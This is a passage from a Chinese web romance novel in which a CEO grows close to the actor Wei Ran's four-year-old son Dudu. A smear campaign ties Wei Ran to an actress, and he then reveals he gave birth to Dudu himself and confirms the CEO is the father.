当然很快他过敏反应就发作了。 为了不吓到蔚染，他还一声不吭地扛了一阵，但身上的疹子藏不住，最后他还是被蔚染送去了医院。 球没打成，还把蔚染给惹生气了。不过蔚染很好糊弄……性格一向很好，林洛宸只说自己是馋了，所以舍命吃螃蟹，就把蔚染乐得花枝乱颤。 但他没有取笑他，那天晚上担心他会出什么意外，蔚染还在医院里陪了一夜。 …… 所以嘟嘟怎么也不能吃河蟹？ ……该不会是蔚染真对他过敏，所以生出来的孩子也继承了他的过敏属性？？？ 林洛宸心里七上八下，遂抱过一旁的嘟嘟。 嘟嘟正跟路诸哥哥在旁边的一块空地上拼乐高模型。模型是路妈妈让路诸带过来了，不算复杂，但也有一千多块，够路诸和嘟嘟一起拼好久的。 眼下，嘟嘟被林爸爸的手架着腋下凌空抱了起来，地上的路诸目光紧紧跟随着嘟嘟，眼神中透露着几许担忧。 但嘟嘟还以为林爸爸是又要跟他玩摸天花板的游戏，与林洛宸对视一眼后，不由咯咯地笑了起来。 林洛宸把嘟嘟“拎”起来左看右看。 嘟嘟：“咯咯咯！” 林洛宸：“……嘟嘟，宝宝不能吃螃蟹吗？” “昂？那是什咩？”嘟嘟略微歪头，还真的认真思考了一下，但嘟嘟发现自己不知道什么是螃蟹。 “……” 大概是发现嘟嘟不能吃以后，蔚染家里的餐桌上也不曾出现过这类食物了，所以嘟嘟长这么大也不知道螃蟹。 “算了。”林洛宸有些泄气，感觉纠结螃蟹的自己也挺幼稚。 努力不让自己多想，他还是将嘟嘟高高举起放在自己肩膀上，又跟宝宝玩了一次摸天花板的游戏。 办公室的天花板比医院要高出一些，为了让嘟嘟能顺利摸到，即便是林洛宸也得稍微垫起了脚。 于是当白秘书敲门进来时，就看见了这比昨天知道林总有孩子还炸裂的一幕—— 林总不仅有孩子、喜欢孩子，甚至还可以穿着高定西装，在林氏集团最权威的地方跟他家孩子玩骑大马的游戏！ 所以嘟嘟小朋友……啊不，嘟嘟小少爷这是什么？ 这就是站在巨人的肩膀上.jpg啊！ 将嘟嘟带来公司的第二天，林洛宸就接到了来自林家本家的越洋电话。 他父亲林元正在电话那头问他：“你的那个‘儿子’是怎么回事？！” 林洛宸并不意外接到这个电话，事实上这个速度……比林洛宸预料的要慢。 这说明自己上次清理的还算干净。 林洛宸比较满意。 站在落地窗前俯瞰下面的街景，他音色平静：“就是那么回事，恭喜你，你有孙子了。” “……你几年没回国，回国也就是短暂开个会，怎么会闹出个孩子的？！” 林父明显气得够呛：“别以为我不知道，那个孩子姓蔚！他是蔚染的儿子！” 嘟嘟还在认真地跟路诸拼着乐高模型。 别看路诸又瘦又高，看上去像是个运动型的，但其实心思缜密得很。 林洛宸偶尔在旁边看一眼就发现了，这小孩儿逻辑思维能力很强。 但跟他相比，四岁的嘟嘟竟然也不弱。玩起这么复杂的积木，除了一开始不知道规律有点发懵外，适应以后嘟嘟竟然也六得飞起。 一种自豪感油然而生。 林洛宸：“对，恭喜你，你不仅有孙子了，还会有个男儿媳。” “你你你！”林父在电话那边彻底爆炸了：“你以前喜欢个男的就算了！怎么现在还想当接盘侠？！这要是被你爷爷知道了，你，你还想不想继承林家家业！……” 林洛宸却只觉得烦躁。 对方不提蔚染的事还行，一提这事林洛宸就也要炸。他陡然压低声音：“所以你也承认，你知道我以前喜欢蔚染了？” 一边说，为了防止被嘟嘟听到，他干脆推开了旁边小隔间的门。 他的父亲和爷爷都知道蔚染的存在。 于是刚恢复记忆的时候，林洛宸便质问过他们，为什么没有人告诉他、他曾经有个心爱的人叫蔚染。 可惜那会儿林洛宸的质问并不理直气壮……归根结底还是他把蔚染给忘了。他不该忘了的。 而他父亲的解释则是，蔚染把他给甩了，他一个天之骄子被个普通人给甩了，大少爷面子都过不去，因而多少受了点影响。 他出车祸后失忆后、还干脆忘了蔚染。于是大家就觉得忘了也好，才没有再跟他提起。 可是，当逐渐深入地了解了现在的蔚染、蔚染现在的生活，林洛宸就越来越觉得不对劲—— 记忆里的确是蔚染特别坚决地甩了自己，可蔚染甩了自己以后的日子，过得并不好。 所以蔚染图什么？ “蔚染把我甩了，就为了一天二十个小时在片场当群演，泡水里躺泥地里，被网曝，被骂得抬不起头来甚至性情大变？？” 林洛宸越说越气：“所以你是说，他甩了我，就是为了自虐？？？” “……这我们怎么知道。”林父的声音在那边听着有些心虚：“他拿了钱，谁知道他干什么……” “够了。”林洛宸打断父亲的话。 那些明知是往蔚染身上泼脏水的话，不听也罢。 他父亲身为二代中的老大，却一直唯唯诺诺。 当初爷爷瞧不上母亲只是普通音乐老师的身份，母亲在林家过得不幸福遂与父亲离了婚。 林洛宸一直不懂父亲为什么没有全力留住母亲。 可考虑到那终究是他的父亲，他对对方的私生活和情感并不感兴趣，也从不评判。 但这也并不意味着，他会允许他的父亲继续骗他、混淆他的视听。 林洛宸：“嘟嘟是我跟蔚染的孩子。” 他干脆直接以宣布的口吻说。 无论如何，嘟嘟叫他一声爸爸，那就是他跟蔚染共同抚养的宝宝。 ……更何况，嘟嘟还跟他一样不能吃螃蟹。 嗯这么一想，好像还真可以是这么回事儿。 “……你说什么？”林父在对面的声音稍顿。听上去是有几分戛然而止的迟疑。 “就是你听到的这样。”林洛宸话说得愈加理直气壮。 也没理会对方的反应，他干脆道：“这边的事我会亲自回去给老爷子一个交代。但在此之前，别、再、打、扰蔚染。” “……”—— 作者有话说：[比心][比心][比心] 第30章 几天后, 蔚染完成了后面的戏份，顺利杀青。 接下来就是出席参加《夜将行》的粉丝见面会。 这两年来蔚染一直都很自律，保养得不错, 从身材到脸都与剧中韦玉书的形象大差不大。 穿上韦玉书的戏服，不戴假发的蔚染简直就是现代版的韦玉书，这让很多对韦玉书角色下线感到惋惜的剧粉们获得了救赎，见面会圆满收官。 倒是很多人说, 两年后的祝涛不像濮阳星渊了。 【眼袋变大了, 尽管化妆了，但现场看还是有点明显】 【感觉应该是胖了, 我的天呐，见面会开始前他都不做下身材管理吗？】 【什么胖, 那明明是壮, 我们涛涛每天都有健身！】 【我染咋那么好看, 啊啊啊现场看更好看了！】 【不是, 没人觉得濮阳星渊真的很油腻吗？粉饼都盖不住的油, 感觉是相由心生。】 …… 不管怎么说, 杀青后，蔚染的时间的确空出了许多。 他下一步就是去拍与陈格导演的新戏了，这期间不用再去跑组面试，也不用再去影城蹲守机会。 距离下部戏开机大概还有两个月，时间也不算充裕，因为蔚染还得研究剧本和原著。但与之前相比已经好多了。 至少，除去一些商业活动外，他可以一直待在家里陪嘟嘟。 季养运对蔚染说：“这段时间你也别松懈，该休息休息，该好好保养好好保养, 咱还得出镜呢。” 蔚染看着自己的小本子，在上面仔细标记好几个他需要出席活动的日期，表示自己明白。 “……你看，一个明星的状态夺重要啊！” 季养运又开始掏出手机翻热搜：“其实客观来说祝涛外形条件不错，他可能也就胖了几斤？……绝对不会超过五斤吧，结果你看看现在网上。大家的眼睛都很毒的，或者说摄像机太毒了！不瘦成纸片人都不好看。” 蔚染了然地点了点头。 季养运又满意地看了看蔚染，他知道蔚染心里有数，不会这么不珍惜得来不易的机会，趁放假就胡吃海喝。 再说以蔚染现在的体重，其实还是能有胖几斤的余地的，真胖五斤说不定会更好看一些。 但大环境就这样，季养运也不可能真让自己合作的艺人增重。 听说爸爸放假了的嘟嘟兴奋了一整天，这会儿又静悄悄地跑了过来。 蔚染他们就是在自家厨房开了个临时的小会，这会儿也没什么要说的了，季养运就招手让嘟嘟过来。 被经纪叔叔招唤了，嘟嘟就知道爸爸忙完了，宝宝跑步的声音骤然由静悄悄变成了哒哒哒。 嘟嘟今天没有穿小恐龙睡衣，但有穿小恐龙拖鞋。 绿色的小恐龙把幼崽白生生的小脚包裹起来，据说是踩屎感，底很软，能跑出声音来也很不容易了。 嘟嘟就是故意的，以此来表示自己的开心。 季养运抱起嘟嘟：“你这个小人精。” ……蔚染没胖，但他抱着，怎么感觉嘟嘟敦实了许多？ 季养运对崽儿体重的变化没有心理准备，这一下差点没抱动。 他是出于维持尊严、才勉强将嘟嘟顺利拎到自己腿上的，连吃奶的劲儿都使出来了。 “咦，嘟嘟最近好吃的没少吃啊？” “咯咯。”嘟嘟扭捏地笑了下，在小肚肚前掰了掰自己的小手——嘟宝最近的确吃了好些好吃的东西—— “林爸爸公司食堂好吃！” “啊？他就带你去吃他们公司的食堂？”季养运下意识问。实在是很难想象那姓林的的带娃日常。 但他看蔚染的反应，姓林的应该是把嘟嘟带得不错…… 就听蔚嘟嘟掰着小手指跟他说：“嗯，林爸爸的食堂有虾虾，鱼鱼，鸡鸡，丸丸……还有好多好多好吃的！” 一听到这个，蔚染就从自己的小本子中抬起头来。 ……能说么，嘟嘟说的虾虾是大龙虾，鱼鱼是深海金枪鱼，鸡鸡应该是哪里空运来的土鸡，至于丸丸，也不知道让嘟嘟印象深刻的究竟是哪种手打纯肉丸。 蔚染不让嘟嘟吃零食，林洛宸就把这些什么添加剂都不加的美味轮番喂到嘟嘟嘴里。 而且这些都不是在林洛宸的公司吃到的，蔚染单独问过嘟嘟，推断出那都是一些很有名气的老店招牌菜。 但也不知道林洛宸是怎么跟嘟嘟说的，嘟嘟就以为那些都是“林爸爸工作单位的食堂”。 ……据说是林洛宸办公的时候嘟嘟在旁边看着，觉得林爸爸很帅，就豪情壮志地表示崽儿长大了、也要像林爸爸那样办公！ 然后林洛宸有时候也真癫，嘟嘟这么说，他也不等以后了，直接让嘟嘟体验小总裁的生活…… 又由于第一天全天在公司带娃，林洛宸就是带嘟嘟去食堂吃的饭，也不知道吃饭时发生了什么，总之嘟嘟的认知就变成了总裁都要去食堂吃饭。 ——在公司食堂跟员工一起吃饭的总裁是好总裁。 嘟嘟是好宝宝，一定要做好总裁。好总裁就要吃员工餐。 于是后面林洛宸再带嘟嘟出去吃饭，也不得不告诉宝宝，这儿就是他们公司食堂。 要不然嘟总不吃。 …… 别说季养运了，蔚染也同样想象不到林洛宸跟嘟嘟的相处情境究竟是怎么样的。 但昨天他接嘟嘟回来的时候，倒是无意间听见林洛宸的司机说，嘟嘟把林总治得服服帖帖。 …… 这个肯定是瞎说的。蔚染坚信。……他家嘟嘟这么柔软善良可爱，怎么可能会去“治”别人呢！…… 肯定是林洛宸自愿的。 蔚染小学生一样坐在桌子边上，两只脚平踩着地面，坐姿要多规矩有多规矩。 但脑补到这些的时候，他下意识抓了抓自己的裤子。 蔚染腿上穿着一条白色居家裤，材质非常柔软，蔚染又瘦，裤子穿在身上晃晃荡荡，即便是坐着也空余了许多面料，可以被他狠狠地揪进手心。 “对了，那你休息了，不就不用他带嘟嘟了？”季养运没注意到蔚染不自然的动作，想到这个问题就问了。 他这也是替杜陵打听的这事儿——国庆节期间杜陵被召唤回杜家了，现在还没回来。但也不耽误杜二少一听说是姓林的在带嘟嘟，那心里就开始七上八下的。 他不敢烦蔚染，每天就是给嘟嘟和季养运打电话。 嘟嘟小话痨讲电话的时候天马行空，也套不出林洛宸具体都对蔚染做什么了。 而且每次聊天嘟嘟都会猛夸他林爸爸，杜陵不想听这个，所以骚扰得最多的还是季养运。 季养运本来不喜欢八卦，但……姑且就一问吧。 “见不到嘟嘟了，他没什么反应？” 蔚染便又看了季养运一眼，表现得有些不自然。 他鲜少如此，这下季养运差不多一下子就懂了—— “他不会还打算登门烦你吧？……连你也一起带了？” 蔚染：“……” 什么叫连他也一起带了？ 不过昨天，在蔚染表明了之后不用林洛宸再带嘟嘟后，林洛宸的确表达出了无限的抗议和不满。 且他但凡是跟蔚染来点硬的，蔚染还真能直接拒绝。 但一被对方用那双受伤的狗狗眼看了，蔚染就没辙，最终也没说出任何狠话，直到林洛宸说完“明天我再过来”直接离开后，他也没蹦出一句话来。 …… 蔚染家的玄关处响起了门铃声。 嘟嘟已经习惯这几天林爸爸这个点儿过来接他了，当即从经纪叔叔腿上蹿下，然后蹬蹬蹬地跑向门口。 但是嘟嘟再急也会先问谁呀，问完了才会开第一道门，等发现真是对方才会彻底打开安全门……蔚染在这方面一直教育崽教育得很好，这次嘟嘟也不例外。 例行公事地问完话，嘟嘟打开了房门。 还真是说曹操曹操就到了，听见声音，季养运跟着从椅子上站起来。 不管怎么说，这也是他跟这位近期轰动了几个主要经济城市的“林十三亿”的第一次正式会面。 林洛宸比他想象中还要更高大，也更随和。 在嘟嘟开门后，他很自然地换上鞋子走进来。 进门时，林洛宸有点意外蔚染家还有别的男人，但季养运他认识，蔚染的经纪人，也是嘟嘟的第三位干爹。 大概蔚染的孩子叫他经纪人干爹有点奇怪，被人听到容易引起误会，嘟嘟就一直都叫对方叔叔…… 既然都叫叔叔了，那就不是干爹。 像季养运观察他一样，林洛宸同样打量了对方一番，之后大大方方地跟对方握手，两个人就这么状似随意地攀谈了起来。 季养运是老江湖了，背后再怎么编排这姓林的，表面上肯定也是滴水不漏。 也不知道是谁怎么起的头，他们开始聊内娱市场、聊国内外的一些娱乐方向的投资行情，季养运不怎么会提蔚染和嘟嘟的私事，就彻底充当一个经纪人。 林洛宸喜欢话少有分寸的聪明人，这位经纪人很显然就是如此。 蔚染上次遇变态的事季养运虽然有责任，但后续处理的还都不错，据说蔚染真拿到了三百万的赔偿款，林洛宸也不是爱戴有色眼镜一直看人的人。 在排除对方对自己的威胁后，他还主动加了季养运的微信。 “我是真的有心进军影视行业，只是苦于不懂行情也投资无门，以后还麻烦季先生帮忙引路。” 季养运想到对方提议要给蔚染投资的事，当即懂了，说：“哪里哪里，林总有什么事，尽管吩咐。” 抱着嘟嘟的蔚染：“……” 等等，你们是当我不存在吗？ 而躲在蔚染怀里的嘟嘟则在仔细观察了林爸爸的言语和动作后，突然伸出圆手握住自己爸爸的：“爸爸，麻烦给嘟嘟，引路哦！” 蔚染：“……”—— 作者有话说：[奶茶][奶茶][奶茶] 30-35 第31章 之后, 季养运就告辞去忙其他工作了。 蔚染一听说他要走，便有些局促地站起身，难得的表现出了对经纪人的依赖。 林洛宸看在眼里, 扬了扬眉，目光跟随蔚染一路将季养运送到门外。 送走了季养运，蔚染一回身就吓了一跳——林洛宸不知何时也跟了上来，还凑得很近！ 这样的距离, 让蔚染不得不向后仰脖, 他真怕自己会跟林洛宸撞到一起。 林洛宸：“……” 干嘛，他又不会吃了他。 大概知道蔚染是不想跟自己共处一室, 林洛宸也很怕对方倔劲儿上来要赶自己走，于是什么都没说。 “去补个觉吧。”他只是忽然道。 蔚染：“？” “你看上去很憔悴, 放假了, 不应该先睡几天吗？” 蔚染去睡觉了, 他就可以以看嘟嘟的名义留下。这是林洛宸昨晚想到的策略之一。 但是今天近距离看见蔚染眼里的红血丝和苍白面颊, 他说这话也是真心实意, 林洛宸：“我陪嘟嘟玩, 你去休息，有事你就喊我俩。” 嘟嘟小复读机很同意让爸爸去睡觉：“喊我俩！” 蔚染：“……” 昨晚庆功宴，好晚才回家，没睡一会儿季养运就来了，蔚染现在的确也困了。 或者说他确实也疲惫到了极点。 现在忽然放松下来，心里的劲儿泄了，也当真打了个哈欠。 “那好。”蔚染搓了搓自己的脸。 他还是很敬业地去洗了个脸，涂了层睡眠面膜，从洗漱间出来的时候就看见林洛宸已经在跟嘟嘟拼积木了。 “……那我去睡了？” “好，有事喊我们。”林洛宸帮嘟嘟平衡地基, 但还是匆匆抬头看了蔚染一眼：“……做个好梦。” “……” 今日外头的阳光十分灿烂，春山如笑，蔚染家都开窗通着风。 清新和干爽的空气充斥鼻息，地毯上嘟嘟团成了一个小球趴在上面，与幼崽相比，林洛宸身形实在过分高大。 而蔚染也从对方脸上看见了一种从未有过的宠溺，以及……和蔼可亲？ 蔚染不知道该不该用这词来形容此刻的林洛宸。 而仔细想，林洛宸也不是没有这样“和蔼”地面对过他。 以前林洛宸在他面前脾气也极好。 会发火，但不会冲他发火。 对方一般也不爱笑，通常都是蔚染没心没肺地逗他，林洛宸倒是会很给面子地跟着笑，但那时候的蔚染，真没觉得林洛宸的笑里有宠溺，或者跟和蔼挂钩。或者说…… 是蔚染仗着比对方虚长了一岁、被对方叫过一声哥，于是不管林洛宸做什么、怎么迁就伺候他，他都是以对待后辈或弟弟的角度去看待林洛宸的。 “自己比林洛宸大，所以林洛宸要听他的。当然相应的，责任也该由较为年长的他来承担。” 蔚染一直是这么想。 所以即使对方比他高、对方低眸看他的时候，眼底的神色与现在带着浅浅笑意看嘟嘟时很相似，都有种难以形容的温柔和包容，但那会儿蔚染也忽略了这种宠溺的感觉。 ……那所以，从前林洛宸，其实也是这么看着自己的吗？……不不不，那时候的林洛宸看他，眼神中除了这些，还有一些赞赏和崇拜。 当年蔚染那样傲气的一个人，当然享受他人的崇拜。 他在林洛宸面前一直有兄长包袱，就是因为对方眼里的崇拜。 蔚染看着眼前这一幕，忽然间有些恍惚，恍然觉得这些年，他们真的都变了。 他变得不再需要他人的崇拜，畏畏缩缩，唯一的期望就是可以把今天过好，不要出什么事故。 而他的小狼狗。 变成了一匹俯视一切的孤狼。 …… 蔚染以为家里多了个人，他会失眠。 但事实是他躺在自己的床上，没过一会儿就失去了意识。 也不知道睡了多久，蔚染是被渴醒的，出去喝了水。 他摇摇晃晃来到客厅的时候，嘟嘟还在林洛宸跟前趴着，不同的是林洛宸膝盖上放着电脑，大概是在处理公务。 看见自己出来，林洛宸果断放下膝上的电脑，给蔚染递了杯水。 团成一团的嘟嘟，小团子似的抬头看着他俩。 林洛宸把蔚染送回了房间。 蔚染迷迷糊糊的，很快又睡了。 之后他每次醒来，床头的水都是满的，蔚染喝了又睡，有好几次想起来去看看嘟嘟，但一晃神就又失去了意识。 如果不是实在要去厕所，他都没离开过这张床。 他睡了醒醒了睡，断断续续的竟然睡了二十四个小时！ 第二天，顶着阳光看见林洛宸正带着嘟嘟在饭厅里吃饭，蔚染整个人都傻了。 “……你……这、这么早就来了？”蔚染睡了太久，声音都嘶哑了。 昨天王阿姨应该在下午四点钟左右就回来了，之后可以陪伴嘟嘟，那时林洛宸就应该回家了。 蔚染看了看墙上的时钟。 早上九点。 好早。 林洛宸说：“我没回家。” 蔚染：？？？ “……昨天跟嘟嘟睡的，是吧嘟嘟。”林洛宸语气云淡风轻。 “是的哦。”爸爸睡了好久好久，嘟嘟很担心，幸亏有林爸爸在。 这会儿看见了拔拔，嘟嘟已经跑过来抱蔚染的大腿了，又在爸爸把宝宝抱起来后，亲昵地汇报：“林爸爸，昨天晚上帮嘟嘟看着爸爸！” “看、看着？”蔚染睁大双眸，第一反应是自己哪用人看着啊？ 嘟嘟：“是的喏，林爸爸在爸爸床边待了一……唔。” 嘟嘟话没说完，一只大手已经捂住了他的大脸蛋儿。 蔚染：？？？ 林洛宸：“咳，没有，我就是看了你一会儿……你睡得太沉了。” 蔚染：“……” 蔚染又看向嘟嘟，嘟嘟显然不知道林洛宸在他房里做了什么，估计是又被忽悠了。他问嘟嘟： “林爸爸还做了什么？” 嘟嘟：“林拔拔给我讲故事。” 蔚染：“……” 蔚染有点心虚，工作时他很少能赶上哄嘟嘟的睡觉环节，现在好不容易放假了，结果第一天还是别人给嘟嘟讲的故事…… 蔚染当即表态：“那嘟嘟想听什么，今晚爸爸给你讲好不好？” 林洛宸：“……” 忽然有种不好的预感。 ……蔚染要亲自给嘟嘟讲故事，那不就是不用他的意思了？？ 而他的预感一向准确。 当天晚上，林洛宸还是被“赶”出了蔚染家的门。 之后的两天，蔚染在家里补眠看剧本，林洛宸就会在白天时上门，或看看嘟嘟、陪嘟嘟玩一会儿，或干脆把嘟嘟带出去小半天，陪他去处理公务。 听嘟嘟的意思，林氏大楼里的工作人员对嘟嘟也都很好，很喜欢嘟嘟。嘟嘟每次回来都会咿咿呀呀地跟蔚染说上半天。 蔚染很开心宝宝又遇到了好多新朋友，见识到更辽阔的世界，对于嘟嘟去林氏的事也默认了。 他这两天还是有点睡不醒，后来林洛宸担心他身体，还打算把他抓去医院做个体检。 蔚染当然不同意，说什么都不同意，林洛宸用伤心的狗狗眼看他也没同意，对方才只好作罢。 放假的第三天晚上，安静了三天的手机又有了动静，季养运的声音有点急：“有空可以上网看看，有人买了你的黑热搜！” 蔚染：“……” 空闲了两天，蔚染的手机都落灰了，还是嘟嘟想着给爸爸充电这个电话才能打进来。 这会儿一听自己的经纪人这么说，蔚染下意识握紧机体——他对黑热搜这种词汇有PTSD，毕竟他曾经也是那上面的常客，然后也的确有几次，蔚染整个人都毁在了这些众口铄金上。 季养运也怕蔚染紧张，赶紧解释：“其实也还好，只是些捕风捉影的事，问题就是涉及到了别人……王佳昕找你没有？” “没有。”蔚染脸色有些发白，条件反射地问：“她怎么了？” 季养运：“代拍不做人，错位拍摄把你跟王佳昕单独在一起时的场景故意找角度拍成亲密照，现在网上都说你跟王佳昕有事。” 蔚染：“……”那就是被传绯闻了。 这种事蔚染也经历过不知道几回，因为行的正坐得端，最终也没被扒出些什么，蔚染倒没觉得有什么……反正至少，对于他遭受的那些来说，这个真不算是什么问题。 季养运：“但这次还真不一样……关键是四年前，王佳昕去国外做过手术，这个之前就被媒体扒出过。然后那个时间你知道你也在国外……挺巧的，你俩还真在一个国家。” “……” “这俩就不知道怎么被人联想到一块儿了，所以现在网上都在说，嘟嘟是你跟她生的。” 蔚染：“？？？” 季养运：“王佳昕的经纪人已经联系我了，她是去整过容，这种事人家不想承认我们也管不着，但现在就是这次黑热搜主要针对的是咱们，我猜还是祝涛那边的人搞的鬼，你这热搜一上去，祝涛油腻的词条就降下去了。 “目前的情况，王佳昕那边不准备公布整容的事，就希望咱们可以出面解释，你们两个怎么在同一个国家、差不多同一个时间共同待了那么多天，然后正好赶上了嘟嘟的出生。” 蔚染静默地听了半天：“……是特别的缘分？” 季养运：“……” “……” 王佳昕的电话很快也打了过来。 蔚染刚跟她合作完一部戏，这才刚杀青，两个人的关系也还算相熟。 王佳昕就也不卖关子，直接在电话那边说：“染哥，我跟经纪公司签约条款里就有公司不允许我暴露整容的事，我真担心事情再被人深挖，那我就完了我。” 王佳昕跟经纪公司的合作就快到期，她不打算续约，也基本已经找好了下家，但原来的公司并不想放过她。 这种时候如果暴露整容、或者成了四岁宝宝的妈妈，都会被原经纪公司抓到把柄打压她，这件事情很严重，她在电话那边的语气也快急哭了。 蔚染一边跟她讲话一边翻着微博上的言论，很多网友说话真的不好听，说王佳昕未婚生子、说他跟王佳昕暗通款曲这还是客气的。 有些话真是要多难听有多难听，甚至还涉及到了都没有露过面的嘟嘟。 但通过热搜词条，还是能看出对面针对的是自己。 的确是他连累了王佳昕。 蔚染当即在电话里说：“放心，这件事情我今晚就给你个交代。”. 王阿姨回来上岗，就是林洛宸“下班”的时间了。 而有了跟蔚染待在家里、热热闹闹陪着嘟嘟玩的经历，林洛宸再回到自己诺大的豪宅，就怎么看怎么觉得冷清。 蔚染租的房子是三室的，大大小小正好。 他这个房子是不是有点太大了？林洛宸忽然想换房。 步入玄关换好了鞋子，他没什么耐心地扯掉领带，脱掉外套。 之后他瘫在沙发上，住家管家体贴地过来询问他晚上需不需要吃些什么。 下午时，林洛宸已经在蔚染那死乞白赖地提前蹭过饭了……本来就尝不出什么味儿，不对着蔚染的脸，他都没胃口，这会儿也不想吃，随即叫管家去休息。 他在沙发上瘫了一阵，又去洗了个澡，出来就处理公务一直到外面的天色浓黑。 晚上九点，林洛宸忽然接到助理的电话。 “林总，有人在网上黑蔚老师……” 蔚染的事林洛宸都特别重视，当即问：“怎么回事？” “……有人买了热搜词条，在传蔚老师和合作的女演员的绯闻，说嘟嘟是他们两个的孩子……” 林洛宸第一反应：“先把热搜撤掉，花多少钱都可以。” “……这个我们已经在做了。”助理的业务能力还行。 自从被林总安排关注蔚老师的事，他已经撤过几次蔚老师的黑热搜了，一般有些明显是尬黑的黑料他也不用跟林总汇报。 但涉及到蔚老师的绯闻、尤其还牵扯到了林总的干儿子，助理敏锐地觉得这件事必须得汇报了，赶紧打来了这通电话。 林洛宸的电脑上很快弹出了几张截图，正是助理发过来的，他看着那张女演员的照片，果断说：“嘟嘟的亲生母亲不可能是她。” 照片上的王姓女演员他认识，毕竟他也是探过蔚染的班的。那俩人一看就只是普通的合作关系，没有一点火花。 林洛宸声音十分斩钉截铁。 助理：“这咱们是知道，但是营销号他们……咦，林总，蔚老师发了澄清了！” 助理一直在刷页面，蔚染那边有动静他第一时间发现。 林洛宸也注意到了，抬手就点开了蔚染的微博，眼睛一目十行地扫过蔚染的文字，耳边还响着助理由平静转为惊诧的声音： “……蔚染说，嘟嘟是他生的？！”—— 作者有话说：这本设定虽然不是默认男生也能生子，但在狗血文世界里大家对男性生子的接受度也是非常高的哈，不会因此出现虐点。[奶茶] 第32章 第二天一早, 蔚染起床后简单洗漱完毕，依旧踏着晨光来到客厅。 习惯早起的王阿姨已经做好了早餐正往桌上摆，嘟嘟则赤着脚丫站在落地窗前, 两只小手手扒着窗户，正向外头张望着。 为了防止自家幼崽靠近窗户时不慎坠落，蔚染租下这个房子后，就在每扇窗户外都加了安全窗。 但饶是如此, 蔚染也不希望嘟嘟养成扒窗户的习惯, 遂出声喊自家宝宝：“嘟嘟，回来, 爸爸不是说过不许这么趴在窗户上？” “不是哇爸爸。” 听见爸爸的声音，嘟嘟回头, 人类幼崽的小奶膘在阳光下泛着一层晶莹的橙光, 嘟嘟眨着大眼睛说：“楼下那个, 好像林爸爸啊！” 蔚染：……？ 蔚染看了看时间, 早上七点。 而林洛宸这几天来看嘟嘟, 基本都是上午九点左右到。 蔚染趿着拖鞋来到窗边。 楼下, 不知是透过窗缝听见了嘟嘟嫩嫩脆脆的小声音，还是真的心有所感，蔚染靠过去的时候，本来背对楼体而立的林洛宸忽然回身抬头。 …… 四层楼高的距离、十米开外，蔚染和林洛宸的目光交汇在一起。 下一刻——就是在对视的下一秒，林洛宸迈开长腿，直接走到单元门口去按门铃。 “林爸爸！” 也看见了林爸爸的嘟嘟没等蔚染反应，已经小炮弹一样冲向门关，去给林洛宸开门了。 蔚染：“……” 蔚染按了按自己的面颊，经常搓面皮他担心皮肤会松垮, 这两天已经尽量将搓脸的习惯换成了手指点按。 外头依稀响起一道脚步砸在楼梯上的声音，由下往上。 蔚染家隔音还算可以，但与饭厅一墙之隔的、是这座单元楼的楼梯道。如果有人在里面爬楼梯，震动带来的声音还是能被稍微听到。 脚步声越来越近、越来越急，又在快接近他们家时戛然而止。 片刻后，敲门声响起。 蔚染略微摇了摇头—— 这人，怎么都不会坐电梯了。 蔚染抽开椅子干脆坐了下来。 门开了，嘟嘟很热情地问林爸爸早安，林洛宸身上带着清晨的寒气，没敢抱嘟嘟，只是伸出长指点了点嘟嘟的脸蛋。 “……早上好，嘟嘟。”不知为何，林洛宸声音哑极。 蔚染在桌前倒了杯水。 换完鞋进门，林洛宸蹲下来摸了摸嘟嘟的小手，然后就抬眸望向客厅里的蔚染。 他缓缓站起身。 “蔚染……”声音依然是哑的，像破旧的风箱。 蔚染端着水杯站起来，“进来谈吧。” 似乎是没想到今天的蔚染这么直接，林洛宸反而在原地愣了一下，才跟着对方离去的背影走向房间。 临关门前，蔚染摸了摸嘟嘟的大脑袋，声音低柔地说：“宝宝先自己去玩一会儿，爸爸跟叔叔有话说。” 听见“叔叔”两个字，林洛宸眸光一动，却没有说话，只是看着蔚染。 嘟嘟当然没意见，宝宝已经不担心爸爸跟林爸爸谈话时，林爸爸会凶爸爸。这段时间嘟嘟有把林爸爸教育得很好。 宝宝乖乖地点头：“好噢。” 正好王奶奶已经把所有早餐都摆上桌，便招手让嘟嘟过去干饭，“嘟嘟快来，哎呀阿染又干嘛去了？我看见他起来才端上来的，这个餐包就得热乎着吃……” 王淑琴一边嘟囔，一边把嘟嘟抱到饭桌边。 蔚染失笑地关上自己卧室的房门，一回身，发现林洛宸正站在差不多是房间中央的位置，正有些局促地看着他。 这次站得倒是离他挺远，没突然靠近他，蔚染扬了扬眉，把手里的水杯递给对方。 他等林洛宸喝完了水。 “你什么时候来的？” 林洛宸：“昨晚……” “昨晚？？” 林洛宸：“啊不是，是今天凌晨。” “…………” 林洛宸猛搓了把脸。 原来人睡觉少是需要用这种方式来保持清醒和维持精力的，更尤其是他已经把能想起来的事情都反反复复、翻来覆去地想了一晚上了…… “蔚染，你，你微博上说……” 还是林洛宸先按捺不住，提起这件事：“嘟嘟是你……” “嗯，就是这样。”这一次蔚染倒是没回避，大大方方认了。 他面容生得过于俊秀干净，正面看人的时候，一双凤眼乌黑、炯炯有神。鼻梁很直，鼻尖小而挺翘，双唇因这两天休息得还不错的缘故，也比前一阵子要胭红了许多。 被这样的人直直注视着，即便是已经见多了纸醉金迷的林洛宸，也还是略微慌了神儿。 更尤其是他现在心很虚。 林洛宸稍微瞥开眼，往日里冷肃不留半点情面的人，如今连问个问题都迟疑了。 但他还是问道：“所以嘟嘟是我的……” 按照嘟嘟的出生时间来推，林洛宸就算再迟钝、再不自信，在得知原来嘟嘟是蔚染亲自生下的孩子时，也不会再以为是蔚染给自己戴绿帽子了。 更何况他想了足足一个晚上，恨不得一天天地往前算、往前推，不会有错。 “嗯。” 蔚染还是大大方方认了：“嗯，是你的。” 林洛宸：！！！ 即便知道不会有错，但跟蔚染的亲口承认比起来，这一宿的猜测好像都没有此时此刻这样让他激动，让他欣喜若狂，让他……心情复杂。 “那，那，那生嘟嘟的时候，你有没有人照顾？” 心情太复杂了，林洛宸都不知道该先打听什么，最后竟然问出了这个。 因为他想到的全是那时候蔚染跟经纪公司解约了，还被网曝了，之后再也抬不起头来……他想象不到那个时候的蔚染是怎么过来的。 “蔚染……”想到这里，林洛宸又大跨步地走上前去，想抱一抱蔚染。 蔚染却抬手止住了他。在稍微怔愣后。 蔚染也没想到林洛宸会最先问……这么个无关紧要的问题。 至少对于整个事件来说，这件事情这个细节，最不重要。 可被问及“有没有人照顾”时，那个瞬间还是有无数的委屈不争气地涌了上来，蔚染眼睛发酸，有点想哭。 